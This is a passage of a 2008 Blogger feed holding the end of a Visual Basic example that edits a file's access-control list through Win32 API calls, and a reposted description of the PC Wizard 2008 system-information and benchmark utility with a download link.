bUserSid(0))&lt;br /&gt;&lt;br /&gt;' Make sure added the ACL to the DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACL to DACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'If it's directory, we need to add inheritance staff.&lt;br /&gt;If GetAttr(sFileName) And vbDirectory Then&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE which is what we just added.&lt;br /&gt;lResult = GetAce(VarPtr(bNewACL(0)), nRecordNumber, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;' You have a pointer to the ACE. Place it&lt;br /&gt;' into a structure, so you can get at its size.&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;sCurrentACE.Header.AceFlags = OBJECT_INHERIT_ACE + INHERIT_ONLY_ACE&lt;br /&gt;CopyMemory ByVal pCurrentAce, VarPtr(sCurrentACE), LenB(sCurrentACE)&lt;br /&gt;&lt;br /&gt;'add another ACE for files&lt;br /&gt;lResult = AddAccessAllowedAce(bNewACL(0), ACL_REVISION, _&lt;br /&gt;lMask, bUserSid(0))&lt;br /&gt;&lt;br /&gt;' Make sure added the ACL to the DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACL to DACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE.&lt;br /&gt;lResult = GetAce(VarPtr(bNewACL(0)), nRecordNumber + 1, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;sCurrentACE.Header.AceFlags = CONTAINER_INHERIT_ACE&lt;br /&gt;CopyMemory ByVal pCurrentAce, VarPtr(sCurrentACE), LenB(sCurrentACE)&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Set the file's Security Descriptor to the new DACL.&lt;br /&gt;lResult = SetSecurityDescriptorDacl(sNewSD, 1, _&lt;br /&gt;bNewACL(0), 0)&lt;br /&gt;&lt;br /&gt;' Make sure you set the SD to the new DACL.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: " &amp; _&lt;br /&gt;"Unable to Set New DACL to Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' The final step is to add the Security Descriptor back to&lt;br /&gt;' the file!&lt;br /&gt;lResult = SetFileSecurity(sFileName, _&lt;br /&gt;DACL_SECURITY_INFORMATION, sNewSD)&lt;br /&gt;&lt;br /&gt;' Make sure you added the Security Descriptor to the file!&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Set New Security Descriptor " _&lt;br /&gt;&amp; " to File : " &amp; sFileName&lt;br /&gt;MsgBox Err.LastDllError&lt;br /&gt;Else&lt;br /&gt;MsgBox "Updated Security Descriptor on File: " _&lt;br /&gt;&amp; sFileName&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6291242189646465811?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6291242189646465811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6291242189646465811' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6291242189646465811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6291242189646465811'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/11/api-func-1.html' title='API func 1'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4694660308952112472</id><published>2008-11-21T08:44:00.000-08:00</published><updated>2008-11-25T05:55:38.544-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>PC WIZARD 2008</title><content type='html'>Since 1996 PC WIZARD is among the most advanced system information programs on the market. PC WIZARD 2008 is a powerful utility designed especially for detection of hardware, but also some more analysis. It's able to identify a large scale of system components and supports the latest technologies and standards. This tool is periodically updated (usually once per month) in order to provide most accurate results.&lt;br /&gt;&lt;br /&gt;PC WIZARD 2008 is also an utility designed to analyze and benchmark your computer system. It can analyze and benchmark many kinds of hardware, such as CPU performance, Cache performance, RAM performance, Hard Disk performance, CD/DVD-ROM performance, Removable/FLASH Media performance, Video performance, MP3 compression performance.&lt;br /&gt;&lt;br /&gt;PC WIZARD 2008 can be distributed freely (ftp, archives, CD-ROMs ...).&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Hardware Information&lt;br /&gt;&lt;br /&gt;  * Mainboard / Bios (Connectors, ID String, MP Support ...)&lt;br /&gt;  * Chipset (FSB Frequency, Norhtbridge, Hub, Direct Media Interface, XMB, NSI, ...)&lt;br /&gt;  * Main Memory (FPM, EDO, SDRAM, DDR SDRAM, DDR-2 SDRAM, DDR-3 SDRAM, RDRAM, FB_DIMM, Timings ...)&lt;br /&gt;  * Memory Profiles : EPP (SLi Ready), Intel XMP.&lt;br /&gt;  * Cache Memory (L1, L2, L3, Size, Frequency ...)&lt;br /&gt;  * Processors (Type, Speed, Multiplier coeff., Features, Model Number, Vanderpool Technology ...)&lt;br /&gt;  * Coprocessor&lt;br /&gt;  * APM &amp;amp; ACPI&lt;br /&gt;  * Busses : ISA, PCI, AGP (2x, 4x,8x), SMBus/ i2c, CardBus, Firewire, Hyper-Transport ... )&lt;br /&gt;  * DMI / SMBIOS&lt;br /&gt;  * Mainboard Sensors, Processor, Hard Disk &amp;amp; Battery (Voltage, Temperature, Fans)&lt;br /&gt;  * Video (Monitor, Card, Bios, Capabilities, Memory, Integrated Memory, Frequencies ...)&lt;br /&gt;  * OpenGL &amp;amp; 3Dfx&lt;br /&gt;  * DirectX (DirectDraw, Direct3D, DirectSound (3D), DirectMusic, DirectPlay, DirectInput, DirectX Media)&lt;br /&gt;  * Keyboard, Mouse &amp;amp; Joystick&lt;br /&gt;  * Drives (Hard Disk, Removable, CD-ROM, CDRW, DVD ...)&lt;br /&gt;  * SCSI (Card, Controller, Adapter, Devices ...)&lt;br /&gt;  * ATA/ATAPI &amp;amp; S-ATA (Devices, Type, Capabilities, S.M.A.R.T. Features, RAID)&lt;br /&gt;  * Ports (Serial, Parallel, USB, IEEE-1394)&lt;br /&gt;  * IDE &amp;amp; SCSI Devices&lt;br /&gt;  * Twain &amp;amp; WIA Devices&lt;br /&gt;  * PCMCIA (PC Card) Devices&lt;br /&gt;  * Bluetooth Devices&lt;br /&gt;  * Sound Card (wave, midi, aux, mix, AC'97 codec, High Definition Audio)&lt;br /&gt;  * Printers (Local &amp;amp; Network)&lt;br /&gt;  * Modem (Features, Speed ...)&lt;br /&gt;  * Network (Server, Connexion, Firewall ...)&lt;br /&gt;  * Security (Scan Ports ...)&lt;br /&gt;  * PocketPC &amp;amp; SmartPhone Devices&lt;br /&gt;&lt;br /&gt;System Information&lt;br /&gt;&lt;br /&gt;  * MCI Devices (mpeg, avi, seq, vcr, video-disc, wave) &amp;amp; ACM&lt;br /&gt;  * SAPI&lt;br /&gt;  * Passwords (Outlook, Internet Explorer, MSN Messenger, Dialup ...)&lt;br /&gt;  * DOS Memory (base, HMA, UMB, XMS, EMS, DPMI, VCPI)&lt;br /&gt;  * Windows Memory&lt;br /&gt;  * Windows (Version, Product Key, Environment, Desktop, XP Themes ...)&lt;br /&gt;  * Windows UpTime (Boot, Shutdown, BlueScreen, System Restore Points ...)&lt;br /&gt;  * TrueType &amp;amp; OpenType Fonts&lt;br /&gt;  * WinSock (Internet), Telephony et Remote Access&lt;br /&gt;  * OLE (Objects, Servers ...)&lt;br /&gt;  * Microsoft® Applications&lt;br /&gt;  * Activity (Process, Tasks, Threads)&lt;br /&gt;  * Modules (DLL, DRV, 32 &amp;amp; 16-bits) &amp;amp; NT Services&lt;br /&gt;  * Internet Navigator (Microsoft Internet Explorer, Netscape, Mozilla, FireFox)&lt;br /&gt;  * ODBC&lt;br /&gt;  * CMOS/RTC&lt;br /&gt;  * Resources (IRQ, DMA, E/S, Memory)&lt;br /&gt;  * System files (.ini, .log, .bat, .nt, .dos ...)&lt;br /&gt;&lt;br /&gt;System Benchmarks&lt;br /&gt;&lt;br /&gt;  * Processor (Dhrystone (MIPS), Whetstone (MFLOPS), Mandelbrot fractal ...)&lt;br /&gt;  * L1, L2, L3 Cache, RAM (Bandwidth, Latency ...)&lt;br /&gt;  * Main Memory (Bandwidth, Latency ...)&lt;br /&gt;  * Hard Drives&lt;br /&gt;  * CD/DVD Rom&lt;br /&gt;  * DirectX 3D&lt;br /&gt;  * Video&lt;br /&gt;  * Removable/Flash Support&lt;br /&gt;  * MP3 Compression&lt;br /&gt;  * VISTA Experience Index&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MEMORY and CACHE: These benchmarks measure the maximum achiveable memory bandwidth. The code behind these benchmarks method is written in Assembly (x86, SSE, SSE2, SSE3). Memory benchmarks utilize only one processor core and one thread.&lt;br /&gt;&lt;br /&gt;PROCESSOR : These benchmarks measure performance in terms of Integer Millions of Instructions Per Second (Integer MIPS) and Millions of Floating Point Operations Per Second (MFLOPS). The code behind these benchmarks method is written in Assembly (x86, x87, MMX, SSE, SSE2, SSE3, 3DNOW!). Processor benchmarks are HyperThreading, multi-processor (SMP) and multi-core (CMP) aware.&lt;br /&gt;&lt;br /&gt;Tools&lt;br /&gt;&lt;br /&gt;  * Can save, print, e-mail a report&lt;br /&gt;  * Can save a TXT, RTF, HTML, PDF or CSV report&lt;br /&gt;  * Can export any graphics as BMP file&lt;br /&gt;  * Can export text and graphic with the clipboard&lt;br /&gt;  * Web update Wizard&lt;br /&gt;  * Communicate with Motherboard Monitor&lt;br /&gt;  * Dump (Hardware registers, System BIOS, video BIOS ...)&lt;br /&gt;&lt;br /&gt;Multi Languages&lt;br /&gt;&lt;br /&gt;  * Dutch&lt;br /&gt;  * English&lt;br /&gt;  * French&lt;br /&gt;  * German&lt;br /&gt;  * Greek&lt;br /&gt;  * Italian&lt;br /&gt;  * Russian&lt;br /&gt;  * Serbian&lt;br /&gt;  * Slovak&lt;br /&gt;&lt;br /&gt;Use this 100% free software to learn more about your computer and its components, detect/diagnose any problems in your computer, and increase your computer's performance.&lt;br /&gt;&lt;br /&gt;Directions for use&lt;br /&gt;&lt;br /&gt;Install&lt;br /&gt;&lt;br /&gt;  * ZIP package : PC Wizard 2008 can be run directly from removable support (CD/DVD, USB Key, ...) Options are not saved.&lt;br /&gt;    Don't forget to check "Use Folder Names" into your UNZIP application to create PC Wizard folders.&lt;br /&gt;  * Self-installing EXE package : To install PC Wizard 2008 directly on your hard drive.&lt;br /&gt;&lt;br /&gt;Commandline Parameters&lt;br /&gt;&lt;br /&gt;  * Launch PC Wizard in silent mode : no interface appears, the report is automatically created.&lt;br /&gt;  * Example : PC Wizard.exe /R T1 C3 c:\reports\report.txt /I&lt;br /&gt;* Result : Save plain text report for Hardware Tab and Processor category only into the c:\reports folder, with detailed information.&lt;br /&gt;  * To learn more, see the readme.txt file into the PC Wizard folder.&lt;br /&gt;&lt;br /&gt;Special Keys&lt;br /&gt;&lt;br /&gt;  * The F5 key allows to refresh information.&lt;br /&gt;  * The F10 key copies the current page in the clipboard.&lt;br /&gt;  * The F11 key allows to save a screenshot as a .bmp file.&lt;br /&gt;  * The F12 allows to save current benchmark results to the database.&lt;br /&gt;  * The Right Click allows to display a context menu (on graphic benchmark it allows to save graph as a bitmap).&lt;br /&gt;&lt;br /&gt;Special Extras&lt;br /&gt;&lt;br /&gt;PC Wizard supports the Logitech G-Series keyboard LCD screen. To activate this function go to menu Options (Monitoring Tab )and check it. When you minimize PC Wizard window, CPU information will be displayed into the keyboard LCD screen.&lt;br /&gt;&lt;br /&gt;Options&lt;br /&gt;&lt;br /&gt;Logitech LCD screen&lt;br /&gt;&lt;br /&gt;Security&lt;br /&gt;&lt;br /&gt;PC Wizard 2008 shows passwords only for your personal goal. No sensitive data is transmitted. No sensitive data is included with any kind of report.&lt;br /&gt;&lt;br /&gt;Remove&lt;br /&gt;&lt;br /&gt;Go to Control Panel - Add/remove Programs and choose PC Wizard 2008. Click on Add/Remove button and follow the instructions.&lt;br /&gt;&lt;br /&gt;Debug Mode&lt;br /&gt;&lt;br /&gt;If PC Wizard freezes or crashs your computer, please try to :&lt;br /&gt;&lt;br /&gt;* Launch application with Debug Mode (hold down the ESC key until the SplashScreen appears). A new file will be created (C:\pcwdbg.log).&lt;br /&gt;    Please report it by sending an e-mail with this file (see Contact the authors).&lt;br /&gt;  * PC Wizard Settings shows and you can disable the detection of some components, which may cause problems.&lt;br /&gt;&lt;br /&gt;Some computers may have problems especially during:&lt;br /&gt;&lt;br /&gt;  * IDE/ATAPI device direct-access scan.&lt;br /&gt;  * SMBus scan.&lt;br /&gt;  * GPU i2C device direct-access.&lt;br /&gt;  * SuperIO/LPC sensor detection.&lt;br /&gt;  * ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Contact the authors&lt;br /&gt;&lt;br /&gt;If you encounter problems, bugs or incompatibilities, please report it by sending an e-mail at pcwizard@cpuid.com with a brief description.&lt;br /&gt;Please try to include a Report (use Save as... or Send a message - choose Text Format) AND a Hardware Registers Dump (menu Tools) when you have a problem.&lt;br /&gt;&lt;br /&gt;Thanks for your help. &lt;a href="http://www.ziddu.com/download/2452596/pcw2008_v185.rar.html"&gt;download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ref. &lt;a href="http://soft-download-info.blogspot.com/"&gt;soft-download-info.blogspot.com&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4694660308952112472?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4694660308952112472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4694660308952112472' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4694660308952112472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4694660308952112472'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/11/pc-wizard-2008.html' title='PC WIZARD 2008'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
